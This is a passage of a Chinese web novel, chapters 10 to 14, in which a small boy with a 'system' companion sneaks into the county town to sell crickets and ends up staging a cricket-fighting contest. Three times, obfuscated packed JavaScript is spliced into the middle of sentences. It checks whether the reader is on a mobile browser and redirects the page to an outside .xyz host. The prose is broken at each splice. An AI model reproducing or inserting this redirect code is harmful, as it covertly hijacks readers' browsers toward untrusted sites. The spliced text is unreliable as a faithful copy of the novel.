王氏继续说：“更别提咱幺儿被文曲星看中，以后必定是有大造化的，不能因为咱们没能耐就耽误了他。” “我听说大户人家的孩子，三岁就开始启蒙，幺儿已经五岁，多等待一日，就多耽误一日，再者，若是拿老大几个挣来的钱供老幺读书，往后还不知道要生出多少事。” 王氏看的分明，如今几个兄长都疼弟弟，可天长日久的，他们还有自己的小家，能乐意？ 深思熟虑后，王氏才将嫁衣拿出来。 “都怪我没本事。”顾老爹有些颓丧。 年轻时候的壮志豪情，这会儿都已经没了。 他自认为算个男人，带着妻儿落户置办家业，生下来的孩子全部养活了。 在长溪村，这样已经算十分不错，可也只能在长溪村。 王氏拍了拍他的手：“伯川，这些年你勤勤恳恳，将几个孩子养大成人，为他们娶妻生子，谁不夸你一句好爹。” “我——哎——”顾老爹叹气。 王氏笑了笑，又说：“我都一把年纪的人了，留着这嫁衣还有什么用，难不成还要再穿一次不成？” “说起来，当年还是夫人帮我置办了这一身，她总说女儿家一辈子只能穿一次嫁衣，不能马虎，特意让人给我做的。” “我们欠老爷夫人的恩情，这辈子都还不完，不如卖了这衣裳，送幺儿读书。” 王氏怕他想不开，笑着说：“神仙保佑，等幺儿将来高中状元，我就能穿上诰命服，哪里还稀罕这衣裳。” 她心底对神仙还有戒备，但听着那意思，自家幺儿读书一本万利，多读几本书先把他爹治好也是好的。 再者，神仙喜欢让幺儿背书，幺儿要是没去读书，没法背书，神仙会不会生气，会不会惩罚？ 无论看哪一点，王氏是一定要送孩子去读书的。 顾老爹这才勉强笑了笑，心底还是怪自己不争气。 “娘——” 王氏手快的将嫁衣收好，下一刻顾丰年就跑进来，直接钻进她怀中。 “我有挣钱的办法，明天你带我一起去吧！” 顾丰年抓了好多蟋蟀，分别一只只装进笼子，装好才想到最重要的事情没办成。 从小到大，他因为年纪太小，还没去过县城。 原本顾老爹答应了，今年会带着他去赶集，哪知道顾老爹受了伤。 王氏一听就不答应：“不行，带着你娘还得分心照看你。” “丰年乖，留在家里陪爹说说话，等爹好了带你去。”顾老爹也安慰。 顾丰年不乐意，搂着王氏的腰撒娇：“娘，我想把蟋蟀带去卖，卖了就能挣钱，挣了钱给爹娘买肉吃。” “幺儿真孝顺。”王氏被他哄得心软，但还是拒绝，“挣钱的事情交给娘和哥哥，你喜欢蟋蟀的话就留着自己玩。” 也是不信虫子能换钱。 顾丰年好说歹说，王氏就是不答应。 闹久了，顾老爹故意咳嗽一声：“丰年，爹累了。” “今天还住你大哥大嫂屋，别吵着你爹休息。”王氏推着他出去，摸了摸小脑袋就把他塞进隔壁。 顾丰年顿时苦了脸。 千算万算，没想到娘不答应带他去县城。 不去县城他还怎么做生意挣钱？ 11. 第 11 章 王氏平时疼孩子，千依百顺的，关键时候却不肯松口。 顾丰年想要歪缠，王氏就拿顾老爹说事儿，吓得顾丰年不敢胡闹。 他原想着第二天早晨再缠着娘，结果一觉醒来，王氏和几个哥哥都不见了。 “大嫂，我娘呢，哥哥们呢？”顾丰年着急了。 牛氏见他头发乱糟糟，衣服都没穿好就跑出来，憋着笑说：“先过来梳头。” “他们去哪儿了？”顾丰年连声追问。 牛氏利落的帮他梳好头：“娘早就出门了，饿了吧，灶上给你留了饭。” 原来是王氏怕幺儿醒来歪缠，估计不让人叫醒他，早早就走了。 顾丰年整张脸都耷拉下来，欲哭无泪：“娘怎么能这样。” 牛氏无奈：“吃完去找大山小山玩，家里的事情哪里要你一个小孩子操心。” 也觉得孩子虽然好心，可都是瞎胡闹，五岁小孩儿哪能挣钱，婆婆把他留下是对的。 顾丰年哪里还有胃口吃饭，他的赚钱大业还没开始就失败了。 【小九，娘为什么不相信我？】顾丰年很伤心。 009不想搭理他，想到文明传承大业，才勉为其难开口：【宿主，你多收录几本书想要什么都有，不要浪费自己的时间精力】 【可是没有钱，你说了不能给我钱】顾丰年反驳。 009无奈，小孩子脑瓜子都不会转弯，没有钱，不是有货物，一进一出差价不就出来了？ 怎么就不知道变通一下！ 碍于系统规则，009只能沉默。 赵氏见大嫂给小叔子塞了圆滚滚的鸡蛋，故意说：“我说小叔子，闲着没事你下地拔个草也是好的，弄那些蛐蛐作甚，吵闹的很，昨晚上我都没睡好。” “弟妹，乡下哪天没有虫子叫，你这可越来越娇气了。”牛氏骂回去。 又推了下顾丰年：“去吃饭吧，饿坏就不长个了。” 顾丰年食之无味的吃了早饭，抿着嘴就出门了，整个人都跟霜打茄子似得。 “顾丰年。”一道声音传来。 顾丰年瞧见牛学文过来，心情更差，也不搭理转身要走。 “叫你没听见吗，耳朵聋了？” 牛学文三两步上前拽住他。 “你干什么，撒手，不然我喊哥哥揍你。”顾丰年可不怕他。 牛学文还是有些怕顾家那几个哥哥，谁不知道顾家一个个长得人高马大，打架都是好手，而且都很疼弟弟。 论打架，顾家兄弟没输过。 “除了告状你还会什么，小孩儿才喜欢告状。”牛学文指责道。 顾丰年奇怪的看他：“你好奇怪，我本来就是小孩儿啊。” 牛学文噎了一下。 他哼哼两声，转开话题：“听说你爹受伤，看病吃药花了很多钱，现在你家没了积蓄，还欠了很多外债，是不是真的？” 顾丰年双手叉腰，怒视着他：“又没跟你借钱。” 牛学文正要发作，见他脸颊气鼓鼓像一只生气的兔子，就觉得想捏一捏。 他骄傲的抬起头：“看在咱俩认识的份上，我可以收你当书童。” “书童？”顾丰年不知道这是个什么。 牛学文点头：“你给我当书童，我每个月给你发月钱，一个月十文，不，二十文钱。” “你还可以来我家吃饭，每顿饭都有肉吃，到时候你就不用老趴在窗口偷听，作为书童，你可以直接站在我身后旁听。” 说完，牛学文自己也觉得条件非常好。 村里头多少人上赶着想给他当书童，他还不要呢。 “这般好事落到你头上，你就偷着乐吧。” 顾丰年瞪大眼睛，居然有这样的好事。 昨晚上他听见大哥大嫂说话，壮劳力在码头上干一天也就到手十文钱。 他啥都不用干就能拿到二十文？ 顾丰年立刻伸出肉乎乎的小手：“好，我给你当书童，你快把钱给我。” 牛学文拧起眉头，一把拍开他的手：“你先当了才能给你。” “我都给你当书童了，你是不是想赖账？”顾丰年着急了。 书童还没当，已经认定二十文钱是自己的，可以拿回家交给爹娘。 牛学文觉得自己做了个错误的决定，这小孩听不懂人话。 果然不能看他长得好带出去有面子，就把书童这么重要的职位交给他。 想到顾丰年站在自己身后，自己倍儿有面子的画面，牛学文耐心解释起来。 “我都说了，你要先给我当书童，给我背包，给我端茶倒水，替我挨手板子，一个月下来才有二十文。” “而且你得住在我家，晚上睡在我床下面，就连上茅厕也得给我递厕纸。” “反正你就是得听我的话，以后不能再跟牛长栋玩，你是我一个人的跟班。” 顾丰年不敢置信的瞪大眼睛：“什么，还得住在你家，那我不当了。” 当书童拿工钱可以，离开家可不行，顾丰年一点都不想离开爹娘。 这次轮到牛学文不干了，跳脚道：“你已经答应了，不能反悔。” “是你没说清楚，你早说要住你家，我怎么会答应。”顾丰年理直气壮。 牛学文气坏了，觉得他不识抬举，这样的好事都不答应。 “我不管，反正你已经答应了，你就得给我当书童，最多我给你涨工钱，一个月五十——一百文，这样总可以了吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383243|184154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “一百文已经好多钱了，你可不要太贪心。” 牛学文心都在滴血，他开始上学后，一个月零花钱统共才一百文，要雇佣顾丰年当书童，一百文钱就得全花了。 可惜，不想离开家的顾丰年视钱如粪土，连连摇头：“都说了我不当，你去找别人吧。” 牛学文不肯，拉住他不撒手：“刚才你都答应了，不能反悔。” “你干什么！” 牛长栋冲过来，一把推开牛学文：“多大人了还欺负小孩，丰年，你没事吧？” 顾丰年看看被推倒的牛学文，再看看一脸气愤的牛长栋：“我没事。” 牛学文大受打击。 枉费他好心好意，大人不记小人过，特意给顾丰年机会当书童。 “你竟敢推我，我要回去告诉爷爷！” 牛学文大怒，又对顾丰年说：“现在就算你想给我当书童，我也不要你了。” “我本来也没想当，是你一定要让我当的。”顾丰年一脸无辜。 牛学文气急败坏，又不肯走，跺了跺脚问：“一个月一百文，你到底当不当？” “都说了不当，你咋听不懂人话呢？”顾丰年忙着呢，没工夫搭理他。 牛学文都气哭了，他都把零花钱全部拿出来了，顾丰年还是不愿意，果然是个讨厌鬼。 瞧他这幅样子，牛长栋赶紧拉着顾丰年走远几步：“他是不是发羊癫疯了，赶紧离远点别被咬了。” 顾丰年已经把书童这件事忘了，拉着他问：“长栋哥，我打算去县城卖蛐蛐，可是我娘不带我去，你能带我去吗？” “啊？”牛长栋傻眼了。 顾丰年连声说：“你带我去的话，等挣了钱我分一些给你。” 合着蛐蛐还没卖出去，要分钱的人已经一打。 牛长栋自己才八岁，倒是去过两次县城，但都是跟着大人一道儿去的，他哪儿敢带着顾丰年走。 顶着小孩儿期待的眼神，牛长栋抓了抓后脑勺，支支吾吾说不出话来。 牛学文见状，抓住机会冷笑：“傻子，他能干什么光会吹牛，你还眼巴巴求他，有眼不识泰山。” 顾丰年看向他：“长栋哥不行，难道你行，那你倒是带我去啊。” 牛学文一下子涨红脸，他当然也不行。 顾丰年慢慢瞧了他一眼，哼哼道：“我就知道你只会大喊大叫，其实什么都办不成，就这样还要让我当书童呢，我才不当。” 一股热血涌上头，牛学文不管不顾的喊：“谁说我不行，瞧好了，今天我就让你们长长眼，在长溪村就没有我做不到的事儿！” “我带你们去县城。” 顾丰年瞪大眼睛，充满期待。 12. 第 12 章 村口大柳树下，顾丰年跟牛长栋已经等了好一会儿。 俩小孩跟前放着一个大背篓，里头装着顾丰年的货物蛐蛐，一个个小笼子叠放在一起。 牛长栋伸长脖子嘀咕：“那家伙会不会故意耍我们，再等下去天都黑了。” 顾丰年也不是很信得过牛学文，但他也没别的办法。 除了牛学文，谁都不肯带他去县城。 “再等一会儿，不来我们去找他。”顾丰年不肯放弃，他还想着挣钱养家。 偶尔有村人路过，瞧见一高一矮两个小孩儿排排站好玩。 “呦，这不是长栋丰年吗，你俩在这儿当木桩子呢？”路过的人打趣。 顾丰年就紧张的挡住背篓，生怕被发现。 牛长栋脸皮厚，仰着头说：“我们玩儿呢。” “那你们玩，别去河边啊。”路人也不在意，叮嘱了一声就走远了。 人一走，顾丰年大大松了口气，小脸放松下来。 “别跟做贼似得，你这样人家会发现的，被人发现咱们就去不了了。”牛长栋捏了捏小孩儿脸颊，觉得胖嘟嘟手感极好，忍不住捏了好几下。 顾丰年捂住自己的脸不让他碰：“我也不想紧张，但还是很紧张。” “真是个小孩儿。”牛长栋立刻有了优越感，“你就跟我学。” 顾丰年偷偷看了他一眼，学着他的样子挺直腰杆儿，乍一看，宛如挺着肚皮更好玩了。 又等了一会儿还是不见牛学文踪影，牛长栋愤愤道：“就知道他没那么好心，咱走吧，别等了。” 顾丰年小脑袋都耷拉下来，瞧了瞧自己的背篓，这么多好玩的蛐蛐居然没机会卖出去。 正要走，一辆牛车过来。 牛学文坐在牛车上，昂头挺胸，骄傲的抬了抬下巴：“上车。” 驾车的是个黑脸老头，村里喊他老牛头，平时给牛地主家放牛赶车。 “学文哥哥，你真的弄来牛车，你可真厉害。”顾丰年好话不要钱似得往外撒，嘴甜的不像话。 牛长栋都嫉妒了。 一声学文哥哥可把牛学文得意坏了，早知道小孩儿这么好哄，他早就把自家牛车搬出来了。 牛学文故意瞥了眼牛长栋，得意洋洋：“我说到做到，不像有的人只会说大话，还不快上车。” 顾丰年抱着大背篓就要上车，可惜人矮腿也短，愣是爬不上去。 他傻眼了，求救的看向牛长栋。 牛长栋叹了口气，伸手把小孩儿抱到牛车上，口中闷闷道：“最后还不得靠我帮忙。” 顾丰年稳稳当当坐好，转头道谢：“谢谢长栋哥，你力气好大，什么时候我也能有这么大力气。” “那你还得再吃几年饭。” 牛长栋帮他将大背篓放好，自己坐到了他另一边，牛车上三个小孩儿挨挨挤挤。 老牛头喊了一声：“坐好喽，走。” 牛车慢慢往前行，朝着县城的方向走。 顾丰年时不时看一眼自己的背篓，确保里头的蛐蛐完好无损，眼睛一直是笑眯眯的。 牛学文用力揉了一下他的脑袋，他也不介意，还冲着人嘿嘿笑。 “咳咳。” 牛长栋轻咳一声，压着声音问：“你把家里牛车带出来，你爷爷知道不？” 牛学文脸上闪过一丝不自在：“练字的纸没了，我上城里买一些。” 那就是不知道了。 牛长栋心底闪过一丝不安，但看了眼顾丰年还是没反对。 丰年满心满眼的期待，反正有老牛头在，他们去一趟县城就回来，不知不觉，谁都不会发现。 顾丰年可不知道他们的担心，晃悠着两条小短腿快活的不得了。 他眼睛笑眯眯的，似乎已经看到自己进入县城，大卖特卖，拿着一大串铜板回家交给爹娘的场景了。 长溪村距离吴山县不远不近，得走半个时辰。 三个小孩儿凑在一起嘀嘀咕咕，时间过得也快，很快就能看见城墙。 顾丰年惊讶的张大嘴：“哇，好高啊。” 他还是头一次来县城，只觉得城墙又高又大，比村口的大柳树还要高，特别威风。 牛学文故意说：“这才哪到哪儿，菰城府的围墙比吴山县高一百倍。” 顾丰年眼睛都瞪圆了，一百倍，那得多高，岂不是要钻进云朵里。 他抱着背篓，心想以后一定要去看看那么高的城墙。 牛长栋忍不住翻了个白眼：“别听他瞎说，怎么可能有一百倍，顶多十倍。” “就是一百倍。”牛学文不高兴了。 牛长栋戳穿他：“你又没去过菰城府，怎么知道有一百倍。” 顾丰年圆溜溜的眼睛看过去，牛学文涨红了脸。 他色厉内荏的强调：“虽然我没去过，但我爷爷去过，他说有一百倍。” 眼看两人又要吵起来，顾丰年大声问：“长栋哥，学文哥，你们说我的蛐蛐卖几文钱合适？” 这话可把两人难住了。 牛学文撇嘴：“谁会买你的蛐蛐，你还不如给我当书童呢，一个月一百文，简直白拿。” 牛长栋听见书童两字就皱眉：“别瞎说，书童是下人，要签卖身契的，不是良籍。” “我不让他签不就成了。”牛学文念念不忘说服，“小丰年，这可是天上掉馅饼的好事儿，你好好想想再回答我。” 牛长栋还不知道有这一茬事情，眉头都打结了，暗道就算牛学文同意，牛地主能同意？ 这家伙太幼稚，想一出是一出的。 “城门到喽。”牛车已经到了城门口，打断了这个话题。 顾丰年还是头一次来县城，很是兴奋，两只眼睛到处打量，看什么都觉得新奇。 城门口站着守卫，扫了牛车上三孩子就说：“入城费一人一文钱。” 牛老头还没说话，牛学文已经掏出钱来：“我们四个人。” “我也要交钱吗？”顾丰年惊呆了，他还没开始赚钱，就得先交钱？ 守卫见他长得玉雪可爱，倒是好脾气，笑着解释：“还没车轮高的小孩儿不收钱。” 顾丰年长长松了口气。 牛车慢慢悠悠进了城，他扯了扯牛学文衣袖：“等我卖了蛐蛐给你钱。” “你给我当书童，我给你花钱，天经地义。”牛学文说。 顾丰年纠结的皱起小眉头，可他不想给文学哥当书童，他不想住在牛家，只想住在自己家。 抱着背篓，顾丰年下定决心，待会儿就把钱还给牛学文。 牛长栋这会儿才想起有入城费这码事，心底有些懊恼，原以为是哄孩子，结果进城就花了钱。 顾丰年的蛐蛐显然是卖不出去的，也不知道待会儿会不会哭鼻子。 县城里正是热闹的时候，街道上人来人往，熙熙攘攘，到处都是食物的香味。 顾丰年两只眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383244|184154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都看不过来，尤其是卖吃食的，他瞧着每个都觉得肯定好吃。 牛学文注意到他的眼神，故意说：“你答应给我当书童的话，我就买给你吃。” 顾丰年连忙摇头：“不吃，我不馋，咱们快去卖蛐蛐吧。” 牛学文顿时失望：“去市集。” 牛老头奇怪：“不直接去书铺子吗？” “先去市集。”牛学文要求。 牛老头瞥了眼车上三孩子，琢磨出不对劲来，但人都已经到了城里头现在回去也晚了，只得调转车头。 “新鲜现捞的鲤鱼，大鲤鱼——” “自家种的菘菜，还带着露珠，便宜卖咧——” “今年刚下的果子，吃一口甜一天——” 刚进市集，顾丰年就被热闹的场景震住了。 街道上到处都是小摊贩，瓜果蔬菜活鱼活虾都有，每一个摊位都大声叫卖着。 顾丰年看到了肉铺，赤膊屠户正手起刀落，五花肉看得诱人。 等我卖了蛐蛐就买些五花肉回家，大家一起吃，顾丰年心想。 “咱怎么卖？”牛学文傻眼了，他也没干过这事儿。 牛长栋抓了抓后脑勺：“真的要卖吗？” 顾丰年兴奋的跳下车，蹦跶着喊：“我刚瞧过了，除了咱们没有人卖蛐蛐，独一份肯定能卖出去。” “这儿有空位。” 小孩儿眼疾手快的占了位置，已经开始从背篓里掏出一个个小笼子摆好。 微微一动，蛐蛐就发出鸣叫声，热闹的不行。 牛长栋两人对视一眼，都是无奈。 没有人卖蛐蛐，是因为卖不出去。 那位置空着，是因为太偏僻，在犄角疙瘩里，几乎没有人会路过。 顾丰年不知道这些，他快手摆好了蛐蛐，左盼右顾不见有人过来看，就学着周围摊贩扯着嗓门喊起来。 “卖蛐蛐嘞，又大又凶的蛐蛐，买一只回家热闹一整年。” “我家蛐蛐是整个吴山县最大最好最漂亮的。” “新鲜现抓的蛐蛐，买蛐蛐送笼子。” 奶声奶气的喊声，果然吸引了不少人注意。 “小孩儿，你卖啥呢？”有人故意逗弄。 顾丰年还以为是客人上门，站起身认真介绍：“卖蛐蛐，大叔你看，每一只都长得特别大，是我精挑细选过的。” “呦，还真挺大。” 那人笑起来：“不过这东西到处都是，我想要随便抓就行，干啥子要花钱买？” 顾丰年一听急了：“不一样，我这些都是选过的，长得大而且凶，叫声也响亮，比随便抓的要好。” “你这小孩儿还挺会说话。” 男人说着，觉得他气急败坏的样子有趣，伸出手来想捏一捏肉嘟嘟脸颊。 “哎，你干什么，别碰我弟弟。”牛长栋赶紧上前。 男人讨了个没趣，切了一声转身走了。 牛学文好不容易打发牛老头去树下等着，自己留下来帮忙。 见状也教训道：“你咋不知道躲，万一遇上坏人怎么办，到时候把你偷走卖了。” 这会儿大的两个后知后觉，才意识到把顾丰年带到县城有些不妥。 两人对视一眼，一左一右蹲下来，免得小孩儿被人偷走。 顾丰年挨骂也不生气，满脑子都是卖蛐蛐，继续大声叫唤。 可惜，觉得有趣过来问的有，真花钱买的压根无。 13. 第 13 章 “全县城最大最好的蛐蛐，就这么几只卖完就没有啦。” “快来看呀，能打架能唱歌的蛐蛐。” “蹦的高，吃得少，嗓门特别大的蛐蛐——” 顾丰年不肯放弃，继续叫卖，奶声奶气的很。 后头，牛长栋两个涨红脸，对视一眼。 “蛐蛐怎么可能卖得出去。”牛学文嘀咕。 牛长栋压低声音：“你说你干什么真弄辆牛车来，要是不来县城，丰年也就算了。” “现在怪我喽，你不也答应他，哼，光想着做好人。”牛学文嘲讽道。 牛长栋觉得事情难办，刚才他们都劝过了，可顾丰年完全不可能走，非得将蛐蛐卖出去。 “现在怎么办，卖不出去丰年肯定会哭的，到时候你哄吗？”牛长栋为难。 牛学文眼珠子一转：“我有办法，你过来。” 牛长栋凑过去听，听完直皱眉头：“这能行吗？” “卖出去就成，难道你想一直耗下去磨到天黑，还是你想看他哭？”牛学文反问。 牛长栋抓了抓后脑勺：“那就试试。” 停顿了一下又说：“出来急我没带钱，先用你的，回头我还你。” “用不着，小爷有的是钱。” 牛学文瞥了他一眼，只说：“瞧着吧，他以后会给我当书童，到时候什么都得听我的，我才不会让他跟你玩。” “你怎么又说这个，顾家可疼小六了，不可能卖给你当书童。”牛长栋摇了摇头。 “他们家现在欠着钱，肯定愿意。” 牛学文冷哼。 顾丰年喊得口干舌燥，愣是没能卖出去，对县城人不识货感到无奈。 这么好玩的蛐蛐，怎么就没有人买呢？ 听见身后的动静，他回头问：“你们在说什么呢？” “没什么。” 牛学文施施然道：“我去小解，你们继续卖。” 说完晃晃悠悠的走开了。 顾丰年疑惑的问：“小解是什么？” “就是尿尿。”牛长栋觉得牛学文简直有病，才读几天书，光想着书童了。 再说了，顾丰年比他们都小，才五岁，真当书童还不知道谁照顾谁。 尿尿就尿尿，为什么说小解，顾丰年不懂。 顾丰年没把小插曲放在心上，托着脑袋左看右看，忽然啊了一声。 “我知道为什么卖不出去了。” “为什么？”牛长栋心想，你才知道卖不出去。 顾丰年站起身，小脸兴奋的红彤彤：“肯定是咱们来错地方了，这儿是卖菜卖肉卖鱼的，不是卖蛐蛐的。” “我觉得跟这个没啥大关系。”牛长栋委婉的说。 蛐蛐卖不出去才是必然，能卖出去才叫见鬼。 顾丰年仰着小脸：“长栋哥，喜欢蛐蛐的都是小孩儿，这儿连个小孩儿都没有，肯定卖不出去啊。” “所以？” “所以我们得找一个小孩儿多的地方，他们瞧见我的蛐蛐这么厉害，肯定会买。” 顾丰年将蛐蛐装回背篓，吃力的背起来就要跑。 “哎，等等，学文去尿尿了，咱等会儿吧？” 牛长栋觉得难办。 顾丰年一摆手：“我刚都瞧见了，学文哥就是往那边走的，咱也往那边走，路上刚好能遇上。” “要是没遇上，就告诉黑爷爷，让他等着。” 顾丰年觉得自己找到了问题关键，一刻都等不及了，背着竹篓就跑。 牛长栋无可奈何，跺了跺脚只能跟上去。 顾丰年左看右看，走出市集到了热闹的街道上，果然时不时能瞧见小孩儿。 这些孩子大多是跟在大人身边。 “丰年，要不咱们还是回去等吧，也许再等一等就有人买你的蛐蛐了。”牛长栋后悔自己没阻止。 顾丰年哪里肯答应。 他也是莽，直接跑到一个小孩儿身边：“小哥哥，你要玩蛐蛐吗？” 被叫住的小男孩回头，奇怪的看着他：“你要送我？” “不是送，是卖。” 顾丰年拿出自己的蛐蛐来：“你看，这可是我精挑细选的，又大又漂亮，威武雄壮，一只只要——只要十文钱。” 小男孩还没说话，他娘就不乐意了：“一只虫子卖十文钱，穷疯了吧，我们不要赶紧走。” “去去去。”女人不耐烦的甩了甩手。 小男孩其实有些眼馋，但十文钱，他肯定是拿不出来的。 “我们快回去吧。”眼看顾丰年被驱赶，牛长栋赶紧把他拉开。 顾丰年撅了撅嘴巴：“他们肯定不知道我的蛐蛐有多好，所以才不买。” 牛长栋算是知道，顾丰年平时可可爱爱，嘴巴甜甜，可遇上事情执拗的很，怎么说都没用。 “只要他们知道我的蛐蛐有多好，肯定就会买了。” “可是天底下的蛐蛐不都差不多。”牛长栋直叹气。 心底盼着牛学文赶紧回来，他们凑个钱把蛐蛐买下来。 顾丰年眼珠子一转：“看我的。” 说完把背篓往他怀里头一塞，哒哒哒跑到巷子里，再出来就扛着几块大石头。 顾丰年在巷口处用石头堆了个圈，怕不够高，特意堆得高一些。 “这是做什么？”牛长栋奇怪的问。 顾丰年掏出两个小笼子，将里头的蛐蛐放出来。 “走过路过不要错过，蛐蛐大战，谁才是最终赢家，打赢了是大将军，打输了是乌龟蛋，大家快过来看呀，蛐蛐大战马上开始啦。” 牛长栋瞪大眼睛，这样也行？ 事实证明确实很行。 方才无人问津的蛐蛐，这会儿一喊，一群孩子呼啦啦全围了上来。 顾丰年见有人来，喊得更加大声了：“吴山县第一届蛐蛐大赛马上开始，快来猜猜看哪知能赢，左边是大将军，右边是大元帅。” “哇，好大的蛐蛐。” “大将军大元帅，好威风的名字。” “我觉得大将军肯定能赢。” “才不是，大元帅才厉害，你看他能飞！” 大元帅刚想飞出去，被眼疾手快的牛长栋逮住，直接又给丢了回去。 顾丰年见周围一群孩子，哗啦啦将剩下的蛐蛐全翻出来：“我家蛐蛐又大又好，你们要买吗，很便宜的，只要十——不，五文钱一只。” 经历了卖不出去被驱赶，小孩儿自动开始降价。 一听要钱，围观的孩子们面面相觑。 “那三文钱也行。”顾丰年又开始降价。 “不买就不能看蛐蛐大战了吗？” 顾丰年鼓了鼓脸颊：“也能看，看不要钱。” “那我们只看不买。”小孩儿脸皮厚的很，“我们是小孩，没有钱。” 顾丰年脸颊鼓得更高，像一只塞满粮食的松鼠。 他无奈承认小孩儿是没钱的，大人又不喜欢蛐蛐，今天怕是白来一趟。 牛长栋都不忍心了，伸手揉了揉他的头发。 结果下一刻，顾丰年又高兴起来：“既然这样，我们让蛐蛐大赛变得更热闹一些。” “怎么更加热闹？” 顾丰年打开小笼子，将蟋蟀都倒了进去：“既然是吴山县蛐蛐大赛，那就让这十只最大最好的决出胜负，第一名就是名副其实的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383245|184154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大将军。” “哇，好厉害。” “居然有这么多蛐蛐。” “吴山县蛐蛐大赛，听着就超厉害，我要喊朋友一起来看。” 小孩哥们呼朋唤友，一时间将巷子口都堵得严严实实，弄得周围人都好奇发生了什么，凑过来看热闹。 牛长栋一开始还高兴顾丰年回头是岸，终于放弃卖蛐蛐。 结果一会儿功夫周围都是乌压压人头，比市集还热闹，弄得他提心吊胆的，生怕顾丰年被人拐走。 “别挤别挤，都能看到。” “你别挡着我，我瞧不见蛐蛐大赛了。” “快让我看看大将军赢了没。” “啊，我的蛐蛐被咬断腿了。” 牛长栋急得满头大汗，顾丰年却是个人来疯，人越多，他越是兴奋，大声喊道：“打呀，上，让这些不识货的人见识见识你们的厉害！” 刚才还想着卖蛐蛐挣钱，这会儿孩子多玩心上来，顾丰年哪里还管那么多，扯着小嗓子一个劲喊。 009早就预料到这一幕，绝望而沉默。 想一出是一出的小孩儿就是这样的，一会儿一个心思系统猜不到。 不止如此，顾丰年还站在最高的石头上，双手叉腰：“比赛开始！” 此时，一辆马车从巷子口经过，坐在马车里的孩子听见外头的喧闹声。 他探出脑袋问：“那边好多人，在做什么？” 从马车窗口望出去，正好能看到站在石头上的顾丰年。 小小的孩子，长得白白嫩嫩的，因为兴奋脸颊红扑扑，两只眼睛都亮晶晶的。 一群孩子围着他大呼小叫。 车夫拉停车子，书童一溜烟儿跑过去，再回来就说：“里头正斗蛐蛐呢，说什么吴山县蛐蛐大赛，要比赛出个第一名来。” “斗蛐蛐？吴山县第一？” 男孩被挑起兴趣：“我要去看看。” “这——少爷，那边好多孩子，没轻没重的，万一被撞着怎么办？”书童很犹豫。 男孩却已经跳下马车：“小爷我身强力壮，才不怕他们。” 哪知道到了巷子口，他想进去都挤不进去，这儿已经被孩子们挤满了。 “都让让都让让。” 最后还是书童出马，仗着人高马大才挤出一条路来。 “哎，你这人咋这么霸道，我先来的。”有孩子不服气了。 男孩瞥了他一眼，没搭理，低头一看大失所望。 “还以为是什么好东西，结果就这。”简陋的石头块里头，十几只蛐蛐正上蹿下跳着，乱糟糟看不出什么大赛来。 也只有这群没见过世面的土包子才会大呼小叫。 男孩面露鄙夷。 顾丰年不乐意了，双手叉腰：“你一点都不识货，这可是吴山县最好最大的蛐蛐。” 男孩抬头看他，见他站在石头上还没自己高，穿得也很普通，甚至还打着补丁，更是瞧不上。 “你这些都是普通货色，瞎叫唤什么，瞧，我的神威大将军才是最厉害的。” 男孩说着，从怀中掏出一个小笼子。 精美的金属笼子上，甚至雕刻着花纹，直接将顾丰年的草编笼子比下去。 “瞧着也就那样。” 顾丰年不肯认输：“不是笼子好，蛐蛐就厉害，你瞧我的蛐蛐个头大，很凶猛，它们都是野生的，一只能打十只你这样的。” “胡说八道。” 男孩气红了脸：“神威大将军一出手，你这些蛐蛐还不够它撕的。” “那你倒是来啊，放下来咱们比比，看谁是第一。”顾丰年挑战道。 “比就比！” 14.第 14 章 眼看自家少爷来劲，书童连声劝道：“少爷，咱该回家了，不然待会儿夫人该着急了。” 又说：“神威大将军身价昂贵，跟他们比简直掉价。” “您后天不还约了李少爷斗蛐蛐，万一神威大将军受了伤怎么办？” 听了这番话，少爷果然犹豫起来。 顾丰年摆了摆手：“不比就赶紧让开吧，我们要开始啦。” 他心底觉得奇怪，就直接问出来：“你这么大人了，玩蛐蛐还要听别人的话吗？” 顾丰年没有嘲讽的意思，单纯就是疑问。 毕竟在家里他想玩蛐蛐，爹娘哥哥们都不会说什么。 少爷却猛地涨红脸，转头狠狠瞪了眼书童，直接打开金属小笼子。 书童瑟缩了一下，虽然觉得不妥，但也不敢再开口。 少爷看向顾丰年：“看着吧，我的神威大将军会大杀四方，把你们的蛐蛐全部大卸八块，到时候你可别哭。” 顾丰年看向他宝贝似捧着的蛐蛐，歪了歪脑袋：“你倒是快点呀。” 少爷冷哼一声，小心翼翼的将神威大将军放了进去。 他故意挑眉看向顾丰年，带着几分小得意：“神威大将军经验丰富，勇猛无比，素来战无不胜，它可是我的宝贝。” 顾丰年一摆手：“嘴上说的不算，打了才知道。” 